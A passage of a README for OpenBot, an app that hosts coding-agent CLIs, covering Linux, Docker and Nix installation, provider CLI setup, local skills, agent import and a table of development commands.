arm64) from <a href=\"https://github.com/nightly-labs/openbot/releases\">GitHub Releases</a>.</li> \n <li>Make it executable with <code>chmod +x OpenBot-*.AppImage</code>, then run it.</li> \n</ol> \n<p>The AppImage does not need libfuse2, so it also runs on Arch Linux and Omarchy. It mounts itself with <code>fusermount3</code> from the <code>fuse3</code> package.</p> \n<p>On Ubuntu 23.10 or newer and on Debian 13, unprivileged user namespaces are restricted by AppArmor and OpenBot exits during launch until you install an AppArmor profile:</p> \n<pre><code class=\"language-bash\">sudo install -m 0644 build/linux/openbot.apparmor /etc/apparmor.d/openbot\nsudo systemctl reload apparmor\n</code></pre> \n<p>The same file ships inside the AppImage at <code>resources/linux/openbot.apparmor</code>. Edit the attachment path in the profile if you keep the AppImage outside the usual locations. Do not start OpenBot with <code>--no-sandbox</code>: that removes the boundary between a renderer and the rest of the computer.</p> \n<p>On the first start from an AppImage, OpenBot writes <code>~/.local/share/applications/openbot.desktop</code> and <code>~/.local/share/icons/openbot.png</code>, which is what lets an <code>openbot://</code> link - an invitation, or a plugin listing - open the app and gives the launcher an icon that stays after the app exits. Delete the two files to undo it.</p> \n<p>Remote desktop works on Linux x64 in an X11 session, such as Xorg or Xvfb. It does not work under Wayland, and the arm64 AppImage does not include it.</p> \n<p>For Gemini sign-in, install a desktop browser and <code>xdg-utils</code>. Open the sign-in page in a desktop session on the same host or VM. Google sends the callback to that host through <code>127.0.0.1</code>; a server with no desktop cannot complete this sign-in. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/architecture/providers.md#gemini\">Gemini setup</a>.</p> \n<h4>Linux server with no screen</h4> \n<p>To run OpenBot as an always-on server of your account on a VPS or home server (Ubuntu 24.04 or 26.04 with systemd), install it from a terminal and sign in with an email code:</p> \n<pre><code class=\"language-bash\">curl -fsSL https://raw.githubusercontent.com/nightly-labs/openbot/main/scripts/install-server.sh | sudo bash\nsudo openbot login\n</code></pre> \n<p>Then use it from the desktop app, the iPhone app or <code>openbot.run/app</code>. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/self-hosted-server.md\">self-hosted servers</a> for the options and the <code>openbot</code> commands.</p> \n<h4>Docker</h4> \n<p>The same server runs as a container (<code>linux/amd64</code> and <code>linux/arm64</code>). The seccomp profile lets the Electron sandbox stay on:</p> \n<pre><code class=\"language-bash\">curl -fsSLO https://raw.githubusercontent.com/nightly-labs/openbot/main/docker/seccomp.json\ndocker run -d --name openbot --restart unless-stopped \\\n  --security-opt seccomp=seccomp.json --security-opt no-new-privileges:true \\\n  --shm-size 1g --stop-timeout 60 -v openbot-data:/data \\\n  ghcr.io/nightly-labs/openbot:latest\ndocker exec -it openbot openbot login\n</code></pre> \n<p>See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/docker.md\">Docker</a> for Compose, the data volume, upgrades and the security limits. For Amazon ECS, see <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/aws-ecs.md\">AWS ECS</a>.</p> \n<h3>Nix</h3> \n<p>The flake installs the desktop app from the latest release on x64 or arm64 Linux and on Apple silicon:</p> \n<pre><code class=\"language-bash\">nix run github:nightly-labs/openbot\nnix profile install github:nightly-labs/openbot\n</code></pre> \n<p><code>overlays.default</code> adds <code>pkgs.openbot</code>. OpenBot is not free software, so your nixpkgs must allow it, for example with <code>nixpkgs.config.allowUnfreePredicate = pkg: lib.getName pkg == \"openbot\";</code>. Nix installs OpenBot updates. OpenBot does not update itself from the Nix store. On Linux, the Nix package does not include the remote desktop runtime, because nixpkgs does not have a library that it needs.</p> \n<div class=\"markdown-alert markdown-alert-important\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-report mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v9.5A1.75 1.75 0 0 1 14.25 13H8.06l-2.573 2.573A1.458 1.458 0 0 1 3 14.543V13H1.75A1.75 1.75 0 0 1 0 11.25Zm1.75-.25a.25.25 0 0 0-.25.25v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25Zm7 2.25v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 9a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n  </svg>Important</p>\n <p>Windows releases are signed by <code>SYNTHETIFY LABS SP\u00d3\u0141KA Z OGRANICZON\u0104 ODPOWIEDZIALNO\u015aCI\u0104</code>. Older releases are not code-signed. SmartScreen can still warn about a new release. Check the release checksum or GitHub build attestation before you run the installer.</p> \n</div> \n<h3>Agent setup</h3> \n<p>OpenBot can download a supported provider runtime when you select <code>Download</code> in onboarding, Settings, agent setup, or the model picker. OpenBot prefers its managed CLI. Explicit <code>OPENBOT_*_PATH</code> overrides take precedence; a compatible system CLI is used when no managed copy is available. OpenBot checks for a newer provider CLI release at startup and every hour, and <code>Check for updates</code> in a provider's actions menu checks at once. Updates install the latest upstream release without changing the user\u2019s system CLI; the version in <code>native-runtime.lock.json</code> is only the first-install fallback.</p> \n<p>You can also install a CLI yourself.</p> \n<p>Codex CLI on macOS:</p> \n<pre><code class=\"language-bash\">curl -fsSL https://chatgpt.com/codex/install.sh | sh\n</code></pre> \n<p>Claude CLI on macOS:</p> \n<pre><code class=\"language-bash\">curl -fsSL https://claude.ai/install.sh | bash\n</code></pre> \n<p>Install Grok CLI following the <a href=\"https://docs.x.ai/build/overview\">Grok Build documentation</a>, then authenticate with <code>grok login</code> or set <code>XAI_API_KEY</code> in the environment used to launch OpenBot.</p> \n<p>OpenBot downloads and pins the OpenCode CLI, like Codex, Claude, and Grok. OpenCode's free models need no account and no sign-in: select OpenCode, click Connect, and OpenBot reads the models that the CLI advertises. To use the paid OpenCode Go models, click Sign in on the OpenCode row and paste a Go key from <a href=\"https://opencode.ai/auth\">opencode.ai/auth</a>. OpenBot encrypts the key on this computer and gives it only to the local CLI. OpenBot supports OpenCode Go only: the Zen models a Go key does not buy stay out of the picker. Models with the Free label in the model picker need no sign-in. Other models need a sign-in with their provider: a Go key for the <code>opencode-go/</code> models, or <code>opencode auth login</code> in a terminal for OpenCode Zen and third-party providers. Without it, the turn fails with an error that names the provider. If you installed OpenCode yourself, OpenBot keeps that install and offers no download. Set <code>OPENBOT_OPENCODE_PATH</code> to select an executable outside your shell's search path. Remote OpenCode agents require Team API v4; older clients do not show these agents.</p> \n<p>Gemini uses a Google AI Pro or Ultra plan. OpenBot downloads Google's Antigravity ACP server on this computer when you select Download on the Gemini row, because Google's license does not let OpenBot include it. Sign in opens Google's sign-in page in your browser. OpenBot never uses an <code>antigravity</code> command on your search path, because the Antigravity editor installs a command with that name. Set <code>OPENBOT_ANTIGRAVITY_PATH</code> to select a server executable yourself. Put it in a <code>bin/</code> folder, and put an <code>antigravity-package.json</code> file with its <code>version</code> in the folder above <code>bin/</code>. Keep <code>localharness_external</code> beside the server. When that path is set, OpenBot uses only it. Connect remains available in the host's local Settings &gt; Providers screen. Remote settings cannot perform Google sign-in; use a browser on the host. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/architecture/providers.md#gemini\">Gemini setup and download recovery</a> for the required layout, the reported IPv6 download failure, and checks that do not change host networking.</p> \n<p>Cursor uses a Cursor plan or a Cursor API key. OpenBot downloads and pins the Cursor CLI (<code>cursor-agent</code>) when you select Download on the Cursor row in More providers, and starts it with <code>cursor-agent acp</code>. Sign in opens Cursor's sign-in page in your browser. You can also set <code>CURSOR_API_KEY</code> in the environment used to launch OpenBot. If you installed <code>cursor-agent</code> yourself, OpenBot uses it until a download exists. OpenBot never uses the <code>cursor</code> command, which starts the Cursor editor. Set <code>OPENBOT_CURSOR_PATH</code> to select an executable yourself. Cursor agents stay on this computer: team members do not see them.</p> \n<p>Cline uses a Cline account, which has free models with limits for each model. The provider of a free model can use your prompts to train models. OpenBot downloads and pins the Cline CLI (<code>cline</code>) when you select Download on the Cline row in More providers, and starts it with <code>cline --acp</code>. Sign in opens Cline's sign-in page in your browser. You can also set <code>CLINE_API_KEY</code> in the environment used to launch OpenBot. If you installed <code>cline</code> 3.0.68 or newer yourself, OpenBot uses it until a download exists. Set <code>OPENBOT_CLINE_PATH</code> to select an executable yourself. Cline agents stay on this computer: team members do not see them.</p> \n<p>On Windows, install the native CLI and make sure <code>codex</code>, <code>claude</code>, or <code>grok</code> is available in PowerShell. Claude Code also requires Git for Windows. Then authenticate the installed CLI and restart OpenBot.</p> \n<p>Bun and Node.js are not required when using an installed release. Optional Computer Use works on macOS, Windows and Linux, and the release carries the driver, so there is nothing to install. Only macOS asks for a permission for it: Screen Recording and Accessibility.</p> \n<p>OpenBot uses the existing local CLI login. It does not copy provider credentials. Grok's <code>XAI_API_KEY</code> and per-session MCP bearer tokens are never persisted or logged. Each provider's terms apply to your sign-in. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/provider-terms.md\">provider terms</a> for Claude subscriptions.</p> \n<p>For setup problems, data reset, and uninstall instructions, see <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/TROUBLESHOOTING.md\">Troubleshooting</a>. OpenBot's data and network behavior is documented in <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/PRIVACY.md\">Privacy</a>.</p> \n<h2>Development</h2> \n<p>Development requires stable <a href=\"https://bun.sh/\">Bun</a> 1.4.2, Node.js 24 (the version in <code>.nvmrc</code>, matching the Node that Electron bundles - run <code>nvm use</code>), and at least one supported agent CLI.</p> \n<p>Install the exact Bun version on macOS or Linux:</p> \n<pre><code class=\"language-bash\">curl -fsSL https://bun.com/install | bash -s \"bun-v1.4.2\"\n</code></pre> \n<p>Install it on Windows in PowerShell:</p> \n<pre><code class=\"language-powershell\">iex \"&amp; {$(irm https://bun.com/install.ps1)} -Version 1.4.2\"\n</code></pre> \n<pre><code class=\"language-bash\">git clone https://github.com/nightly-labs/openbot.git\ncd openbot\nbun install --frozen-lockfile\nbun run codex:doctor\nbun run dev\n</code></pre> \n<p><code>codex:doctor</code> checks the CLI version, App Server handshake, and ChatGPT login without starting a model turn. <code>bun run cua-driver:doctor</code> reports the Computer Use driver separately.</p> \n<p>In a new git worktree, run <code>bun run dev:bootstrap</code>. It copies the files that <code>.worktreeinclude</code> lists from the main checkout when they are missing, installs dependencies, migrates the local API, and seeds the isolated profile. Set it as the worktree setup command of your agent harness.</p> \n<p>On macOS, a worktree's <code>node_modules</code> uses almost no new disk space. Bun clones packages from its cache, and the root <code>postinstall</code> clones Electron from <code>~/Library/Caches/OpenBot/electron-dist</code>. <code>du</code> still shows the full size of each clone. The first install of an Electron version extracts it once and saves it there. Delete the directory to clear the cache; an entry that nobody used for 30 days is removed by the next save.</p> \n<p>To reset only the local development state, quit the dev app and test client, then run <code>bun run dev:reset</code>. The command deletes the app and test-client development profiles plus the legacy host profile, including <code>openbot.db</code> and its WAL files. It prints each profile before it deletes it, and it deletes nothing while a dev app has one of them open. It does not change the production profile, the worktree profiles that <code>bun run dev</code> opens (<code>OpenBot Dev wt-&lt;hash&gt;</code>), agent workspaces, <code>~/.codex</code>, or <code>~/.claude</code>.</p> \n<p><code>bun run dev</code> seeds a development profile it creates, so a first start already shows this data. <code>bun run dev:seed</code> replaces the shared <code>OpenBot Dev</code> profile. To use it, quit the dev app, then run:</p> \n<pre><code class=\"language-bash\">bun run dev:seed\nbun run dev --shared\n</code></pre> \n<p>The seeded agents run on <code>opencode-go/muse-spark-1.3-contributor</code> at medium effort while this computer's OpenCode CLI lists it, and on <code>gpt-6-luna</code> at low effort otherwise. A dev build starts a new agent on the same pair, so a seeded agent and one you create agree; a packaged build always uses <code>gpt-6-luna</code>.</p> \n<p>The seed adds agents, rich conversations, managed files and references, reactions, completed agent exchanges, two channels with a delegated task run, channel memories and routines, and local team chat data. It dates every record backwards from the run, so the transcripts read Today and Yesterday. It does not add live queue items, open routine runs, or queued channel tasks, so it starts no model turn. Use <code>bun run dev:seed --dry-run</code> to inspect the target and fixture counts without changing files. <code>dev:seed</code>, <code>dev:reset</code>, <code>dev:verify</code>, <code>dev:bench</code>, and <code>dev:automation</code> print their usage for <code>--help</code> and change nothing. They stop with exit code 2 on an option that they do not know.</p> \n<h3>Marketplace launch catalog</h3> \n<p>Seed the approved OpenBot team catalog locally with <code>bun run marketplace:seed:local</code>, then start or reuse <code>bun run dev</code>. Search <strong>OpenBot</strong> in Marketplace to review its Skills and Agents. This seed adds catalog records without resetting app data.</p> \n<p><code>bun run marketplace:build</code> creates the launch bundles. <code>bun run marketplace:publish:production</code> is a dry run; production writes require explicit flags and admin credentials. See the <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/marketplace/production-catalog/README.md\">catalog and publication guide</a>.</p> \n<p>Skill authors can add optional <code>example-prompt</code> text to the YAML frontmatter in <code>SKILL.md</code>:</p> \n<pre><code class=\"language-yaml\">example-prompt: Turn the latest commits into release notes.\n</code></pre> \n<p>The skill preview shows this text. <strong>Try skill</strong> appends it and a skill reference to the selected agent's draft. It does not send the message. The field accepts up to 1,000 characters after trimming. Missing or invalid values use a default example. No new package format or database migration is required.</p> \n<h2>Local skills</h2> \n<p>Ask an agent to create a skill from a reusable workflow. It prepares a folder with <code>SKILL.md</code> and calls <code>create_skill</code>. The skill is saved in a shared local library and enabled for that agent. Other agents can add it through <strong>Settings \u2192 Skills \u2192 Local skills</strong>.</p> \n<p>Agents can use <code>list_local_skills</code>, <code>read_local_skill</code>, <code>revise_skill</code>, and <code>install_local_skill</code>. Revisions require the version read by the agent and retain previous versions. Updating a library skill does not update installed copies: use the Update chip or install an exact revision. Modified installed files are protected. To publish a local skill, submit its folder separately through the marketplace.</p> \n<p>Optional scripts, references, and assets follow the Codex skill folder structure. A PNG at <code>assets/icon.png</code> supplies the local preview logo. The built-in <code>openbot-skill-creator</code> guide explains the format and validation limits. Registration does not run scripts.</p> \n<h2>Import agents from Grok Bot</h2> \n<p>Open <strong>Server settings \u2192 Import</strong> on this computer, or on a joined server in the desktop app or the browser client. Every member of a server can import, not only an owner or admin. Add the <a href=\"https://x.ai/bot/gI0XdhhDYPJeyQaqQBC0O\">OpenBot export agent</a> to Grok Bot and say \"Export my agents for OpenBot\". It saves one <code>.zip</code> file to Downloads. Choose that file in OpenBot, select the agents, and import them.</p> \n<p>The import adds each agent's name, instructions, avatar, skills, routines, and memories. Workspace files are copied to <code>imported/</code> in the agent's workspace if you included them. Chat history is not copied: the export agent keeps the important facts as memories. For this computer, the file is read here and is not uploaded. For a joined server, the file (at most 100 MB) goes to the computer that runs that server through the encrypted host connection. A member's import uses a skill that the server already has instead of changing it. The export skill and its format are in <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/resources/agent-import/grok-bot/SKILL.md\"><code>resources/agent-import/grok-bot/SKILL.md</code></a>.</p> \n<h2>Commands</h2> \n<p>The browser client is served at <code>/app</code> by the public web app. For local development, run <code>bun run dev:api</code> and open <code>/app</code> on the API URL printed by the supervisor. Use <code>bun run dev</code> when a desktop host is also needed. Use <code>bun run storybook</code> and <strong>Web \u2192 Workspace \u2192 Connected</strong> for shared UI test data. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/web-client.md\">web client delivery</a> for the release gate and focused checks.</p> \n<table> \n <thead> \n  <tr> \n   <th>Command</th> \n   <th>Purpose</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>bun run dev</code></td> \n   <td>Start the local Auth API, Signal service, and Electron client with renderer HMR on its app profile. Ports are allocated through the dev registry, so a sibling worktree never takes one this stack won. It refuses a second stack in the same worktree unless you pass <code>--force</code>. Each worktree opens a profile of its own, keyed to its path; <code>--shared</code> opens the shared <code>OpenBot Dev</code> profile instead. <code>--isolated</code> is still accepted and changes nothing. A profile that you used before stays on disk unchanged. <code>--hosting=test</code> signs the app in to the <code>test</code> account Worker, on a profile that all worktrees share, so that a hosted server is a real VM; see <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/hosted-servers.md#real-servers-from-a-development-build\">docs/hosted-servers.md</a>. A profile that does not exist yet is seeded with the showcase data of <code>bun run dev:seed</code> before the client starts, so a first start never opens an empty app; an existing profile is left as it is. An isolated profile still shares the computer's provider CLI store, so it does not download the pinned CLIs again. Before it starts, it runs <code>bun install --frozen-lockfile</code> and <code>bun run api:migrate:local</code> only when <code>bun.lock</code>, a workspace <code>package.json</code>, a patch, or a migration changed since their last successful run. The stamps are in <code>node_modules</code> and <code>apps/auth-api/.wrangler/state/v3/d1</code>, and each <code>bun install</code> writes the install stamp too; delete one to run its step again.</td> \n  </tr> \n  <tr> \n   <td><code>bun run preview</code></td> \n   <td>Preview the built Electron client with the green preview icon.</td> \n  </tr> \n  <tr> \n   <td><code>bun run mobile:go</code></td> \n   <td>Start the mobile app in Expo Go and clear the Metro cache.</td> \n  </tr> \n  <tr> \n   <td><code>bun mobile:ios</code></td> \n   <td>Build and launch the iOS simulator app without RocketSim.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:mobile</code></td> \n   <td>Start or reuse this worktree's <code>bun run dev</code> stack, build and launch the iOS simulator app, and pair them without a QR scan. The desktop issues a Mobile Connect ticket over CDP, and <code>simctl openurl</code> opens the link in the development build, which accepts only loopback or private-network account services. Other arguments go to <code>bun mobile:ios</code>. <code>--pair-only</code> pairs an app that already runs; <code>--simulator=&lt;udid&gt;</code> chooses one of several booted simulators. It stops when the Metro port is already in use, because another worktree's Metro would serve the same app id; pass <code>--port=&lt;n&gt;</code> then.</td> \n  </tr> \n  <tr> \n   <td><code>bun run mobile:ios:build:local</code></td> \n   <td>Build a production iOS <code>.ipa</code> locally for upload with Transporter. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/apps/mobile/README.md#local-testflight-build\">TestFlight setup</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run mobile:ios:release:testflight</code></td> \n   <td>Start the GitHub Actions iOS build from <code>main</code> and upload to TestFlight. Requires authenticated GitHub CLI. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/apps/mobile/README.md#github-actions-testflight-release\">iOS release setup</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun mobile:ios:rocketsim</code></td> \n   <td>Start RocketSim and build and launch the iOS simulator app with RocketSim Connect. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/apps/mobile/README.md#development\">mobile setup</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run mobile:go:tunnel</code></td> \n   <td>Start the mobile app in Expo Go through a Metro tunnel and clear the cache. The OpenBot API and Signal still need their own reachable addresses.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:api</code></td> \n   <td>Start the TanStack Start API and its local D1 database on <code>127.0.0.1:3100</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:apns-key -- &lt;AuthKey_ID.p8&gt; [KEY_ID]</code></td> \n   <td>Save an Apple Push Notification service key in ignored development state, so the local Auth API sends iPhone Live Activity updates. The local server forwards them to Apple over HTTP/2. Restart <code>bun run dev</code> after it.</td> \n  </tr> \n  <tr> \n   <td><code>bun run api:start</code></td> \n   <td>Build and preview the Cloudflare Worker locally.</td> \n  </tr> \n  <tr> \n   <td><code>bun run api:images</code></td> \n   <td>Draw the article artwork into <code>apps/auth-api/content-art/</code> after you add an article or change a title. Commit the result; the site build fails until it matches. Needs Electron and a GPU, so run it on your own machine.</td> \n  </tr> \n  <tr> \n   <td><code>bun run api:migrate:local</code></td> \n   <td>Apply D1 migrations to the local development database.</td> \n  </tr> \n  <tr> \n   <td><code>bun run api:migrate:remote</code></td> \n   <td>Apply D1 migrations to the configured remote database.</td> \n  </tr> \n  <tr> \n   <td><code>bun run api:deploy</code></td> \n   <td>Build and deploy the account API to Cloudflare Workers. It sets the Stripe, boat, claim and OpenPanel secret sets that are in the production environment. A set that is not there keeps the value that the Worker has.</td> \n  </tr> \n  <tr> \n   <td><code>bun run api:stripe:bootstrap</code></td> \n   <td>Create or update the Stripe plan catalog and the Customer Portal settings from <code>STRIPE_SECRET_KEY</code> in the encrypted <code>apps/auth-api/.env.dev</code> (shell values replace it). It refuses a live key unless you add <code>--live</code>. For local webhooks, run <code>stripe listen --forward-to localhost:&lt;API port&gt;/v1/stripe/webhook</code> and set the signing secret in <code>STRIPE_WEBHOOK_SECRET</code>. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/architecture/servers.md#billing\">Billing</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run hosting:setup --target=production|test</code></td> \n   <td>Set up the Stripe catalog, the Customer Portal, and the Stripe and boat webhooks of one account server, and store the webhook signing secrets: production in the <code>cloudflare-production</code> GitHub Environment, test in the encrypted <code>apps/auth-api/.env.dev</code>. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/hosted-servers.md#production\">hosted servers</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run hosting:template</code></td> \n   <td>Build the boat named snapshot that new hosted servers start from. Needs <code>BOAT_TEMPLATE_API_KEY</code> and <code>--version</code>, <code>--appimage-url</code>, <code>--appimage-sha256</code> and <code>--auth-api-url</code>. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/hosted-servers.md\">hosted servers</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run status:build</code></td> \n   <td>Build the public status page in <code>apps/status/dist</code>. The <code>status-page</code> workflow adds <code>status.json</code> and <code>feed.xml</code> and publishes it to GitHub Pages at <code>status.openbot.run</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run status:smoke</code></td> \n   <td>Run the status page smoke test: update runs against a local fake service, the status webhooks against a local receiver, one read-only run against the live checks, and the built page in Chrome. It writes <code>.openbot-build/status-page/report.json</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run remote:up</code></td> \n   <td>Build and start the self-hosted Signal, coturn, and ACME stack.</td> \n  </tr> \n  <tr> \n   <td><code>bun run remote:check</code></td> \n   <td>Check the Remote API and both Docker Compose configurations.</td> \n  </tr> \n  <tr> \n   <td><code>bun run remote:check:compose</code></td> \n   <td>Validate both Docker Compose configurations alone, without a running daemon.</td> \n  </tr> \n  <tr> \n   <td><code>bun run remote:update</code></td> \n   <td>Update Signal, then drain and update the single coturn instance.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:all</code></td> \n   <td>Start the Auth API, Signal service, and single local Electron instance.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:slack</code></td> \n   <td>Start the same stack as <code>bun run dev</code>, with two <code>cloudflared</code> quick tunnels, one to Signal and one to the local account API, so that Slack can send the development Slack app's events and install return to the agents on this computer. It reads <code>OPENBOT_DEV_SLACK_SIGNING_SECRET</code> from the ignored <code>.env.slack-dev</code>, and needs <code>SLACK_ROUTE_PRIVATE_JWK</code> and <code>SLACK_ROUTE_KEY_ID</code> in the shell environment. Takes the same options as <code>bun run dev</code>, such as <code>--shared</code>. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/messaging.md#test-slack-locally\">docs/messaging.md</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:test-client</code></td> \n   <td>Start the Auth API, Signal service, local instance, and an isolated second client for team testing.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:seed</code></td> \n   <td>Replace only the app development profile with durable showcase data. <code>--if-missing</code> keeps an existing profile, which is how <code>bun run dev</code> seeds a first start. <code>--scale=agents:N,messages:M,channels:C,channelMessages:K,attachments:A</code> adds generated agents, chat history, channel history and large images to the showcase data, for memory and CPU measurements.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:reset</code></td> \n   <td>Delete the local app, test-client, and legacy host development state. It refuses while a dev app has one of these profiles open.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:status</code></td> \n   <td>Print, as JSON, every dev stack and dev app instance live on this machine: services, ports, pids, which of them belong to this worktree, and which are orphaned - a supervisor that is gone with its children still holding the ports. Each recorded process carries the state a stop command acts on: <code>live</code>, <code>gone</code> with <code>groupLive</code> for a survivor of a dead leader, and <code>unverified</code> for a pid this machine cannot date. <code>registryDirectory</code> is the directory it read: <code>~/Library/Caches/OpenBot/dev</code> on macOS, <code>$XDG_RUNTIME_DIR/openbot-dev</code> (else <code>~/.cache/openbot/dev</code>) on Linux, <code>%LOCALAPPDATA%\\OpenBot\\openbot-dev-instances</code> on Windows, or <code>OPENBOT_DEV_REGISTRY_DIR</code> when set. It does not depend on <code>TMPDIR</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:verify</code></td> \n   <td>Print a stable JSON verification plan for this worktree: <code>ready</code>/<code>reasons</code> for safe checks, setup state, changed files and affected surfaces, nearby tests, runtime state, <code>qa.required</code>/<code>qa.ready</code>/<code>qa.reasons</code>, the renderer QA loop, safe <code>runnableCommands</code>, and all suggested <code>commands</code>. Add <code>--run</code> to execute only the safe non-mutating checks in the plan. Renderer QA follows <code>snapshot \u2192 action with --wait-for \u2192 snapshot \u2192 screenshot</code> when appearance matters.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:stop</code></td> \n   <td>Stop this worktree's dev stack, children included, using the pids in the registry rather than a process-name pattern. It signals only a pid whose start time still matches the record, so a recycled pid is never sent SIGTERM; anything it cannot confirm is reported, left running and kept in the registry, and the command exits non-zero. <code>--pid=&lt;supervisor pid&gt;</code> stops one other stack, <code>--all</code> stops every stack on the machine.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:forget</code></td> \n   <td>Drop this worktree's stack record without signalling anything, for the one case <code>dev:stop</code> refuses to resolve on its own. It is also the only command that reads a dead record: nothing else deletes one, because a reader that removes what it judged can remove a record the supervisor rewrote in between. Takes the same <code>--pid=</code> and <code>--all</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run storybook</code></td> \n   <td>Start Storybook on a port allocated through the same registry, so two worktrees never announce one port. <code>OPENBOT_STORYBOOK_PORT</code> moves where the search starts; <code>--port</code> is refused.</td> \n  </tr> \n  <tr> \n   <td><code>bun run build-storybook</code></td> \n   <td>Build static Storybook. CI sets <code>OPENBOT_STORYBOOK_CHECK=true</code> to skip automatic prop documentation during its build check.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:automation</code></td> \n   <td>Drive the running dev app over CDP: <code>instances</code>, <code>pages</code>, <code>snapshot</code>, <code>screenshot</code>, <code>click</code>/<code>type</code> by accessible role. <code>--page=&lt;target-id|url-substring&gt;</code> aims at any window, including embedded browser views; <code>--wait-for=&lt;role&gt;,&lt;name&gt;</code> settles on an accessible target instead of polling; mutations need <code>--allow-mutations</code> and a named instance (this worktree's record, <code>--instance=&lt;id&gt;</code> or <code>--port=</code>).</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:cpu</code></td> \n   <td>Measure idle CPU on the running dev app, per process kind and per page. <code>--duration=&lt;ms&gt;</code> (default 60000), <code>--interval=&lt;ms&gt;</code> (default 5000), <code>--label=&lt;name&gt;</code>, <code>--out=&lt;name&gt;.json</code> (always under <code>.openbot-build/dev-automation/cpu/</code>, and refused if it would leave that directory or pass through a symbolic link) and <code>--compare=&lt;file&gt;</code> for a before/after delta. Read-only. Take a baseline before a change and a second run after it: only the difference between two runs on the same machine is a result, because a dev build carries the Vite server and the source maps as well.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:memory</code></td> \n   <td>Measure the running dev app's memory once: resident memory per process kind (main, renderer, GPU, provider CLIs and their MCP servers), with the dev tooling kept out of the app total, plus JS heap and DOM counters per page. <code>--label=&lt;name&gt;</code>, <code>--out=&lt;name&gt;.json</code> (always under <code>.openbot-build/dev-automation/memory/</code>) and <code>--heap-snapshot=&lt;target-id|url-substring&gt;</code> to also write a V8 heap snapshot of one page to that directory. Read-only.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:bench</code></td> \n   <td>Run repeatable RAM and CPU scenarios on the built app (<code>bun run build</code> first). Each run seeds a bench profile of its own, starts the built app, samples the process tree every second (resident memory, macOS physical footprint and CPU per process kind, provider memory per CLI) with the main-process and page heaps, drives the scenario, and reads a settled state after garbage collection. <code>--scenario=&lt;id|prefix|all&gt;</code> (required; without it the command lists the scenarios), <code>--runs=&lt;n&gt;</code> (default 3; the report shows the median and range), <code>--label=&lt;name&gt;</code>, <code>--compare=&lt;report.json&gt;</code>, <code>--cpu-profile</code> (records the app window's JavaScript for 15 s after the first run settles, as a <code>.cpuprofile</code> for DevTools), <code>--frames</code> (counts frames slower than 17 ms and 50 ms while the scenario runs; the loop keeps the renderer drawing, so CPU readings rise) and <code>--call-counts</code> (V8 call counts per function while the scenario runs, top 25 in a <code>-call-counts.json</code> file; slows JavaScript). Every run also reports the startup marks (<code>startup.*</code>, ms) and the app window's layout and style recalculation counts, script and task time, and long tasks (<code>render.*</code>). Reports go to <code>.openbot-build/dev-automation/bench/</code>. Turn scenarios (<code>s5</code> to <code>s9</code>) use the real claude, opencode and grok CLIs and spend model quota. It never touches a dev instance or your own profile, and <code>bun run dev:stop</code> stops an app a failed run left behind.</td> \n  </tr> \n  <tr> \n   <td><code>bun run check</code></td> \n   <td>Run Biome, both typechecks, offline tests, the browser smoke test, and the production build.</td> \n  </tr> \n  <tr> \n   <td><code>bun run typecheck</code></td> \n   <td>Check all 15 projects in parallel with a separate incremental cache for each project in this worktree.</td> \n  </tr> \n  <tr> \n   <td><code>bun run knip:check</code></td> \n   <td>Find unused files, exports, and types, unused or unlisted dependencies, and unresolved imports in all workspaces. CI runs it.</td> \n  